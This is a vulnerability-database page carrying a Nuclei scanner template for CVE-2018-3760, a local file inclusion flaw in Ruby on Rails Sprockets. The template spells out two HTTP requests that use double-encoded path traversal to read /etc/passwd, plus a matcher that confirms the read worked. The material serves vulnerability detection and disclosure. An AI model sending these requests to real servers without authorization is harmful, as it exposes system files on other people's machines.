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Ruby On Rails - Local File Inclusion

🗓️ 26 Jun 2026 03:02:09Reported by ProjectDiscoveryType 
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Ruby On Rails - Local File Inclusion vulnerability in Sprockets 3.7.1 and lower versions. Allows unauthorized access to sensitive files

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id: CVE-2018-3760

info:
  name: Ruby On Rails - Local File Inclusion
  author: 0xrudra,pikpikcu
  severity: high
  description: |
    Ruby On Rails is vulnerable to local file inclusion caused by secondary decoding in Sprockets 3.7.1 and lower versions. An attacker can use %252e%252e/ to access the root directory and read or execute any file on the target server.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive files and information stored on the server.
  remediation: |
    Apply the latest security patches and updates for Ruby On Rails framework to fix the Local File Inclusion vulnerability.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/rails/CVE-2018-3760
    - https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
    - https://seclists.org/oss-sec/2018/q2/210
    - https://xz.aliyun.com/t/2542
    - https://nvd.nist.gov/vuln/detail/CVE-2018-3760
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-3760
    cwe-id: CWE-200,CWE-22
    epss-score: 0.26717
    epss-percentile: 0.97769
    cpe: cpe:2.3:a:redhat:cloudforms:4.5:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: redhat
    product: cloudforms
  tags: cve2018,cve,rails,lfi,ruby,vulhub,seclists,redhat,vkev,vuln

http:
  - raw:
      - |
        GET /assets/file:%2f%2f/etc/passwd HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /assets/file:%2f%2f{{path}}/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: path
        regex:
          - "/etc/passwd is no longer under a load path: (.*?),"
        internal: true
        part: body
# digest: 4a0a0047304502201f5fbd11b6e86c6cf892b34972f2a2cafeaed38fa10c5edfbe0de740765e881a02210081a74a8e12e0863145746fcc8dd66ebda5452b4f44258c8c002a6c627131c641:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
7.2High risk
Vulners AI Score7.2
CVSS 25
CVSS 37.5
EPSS0.26717
106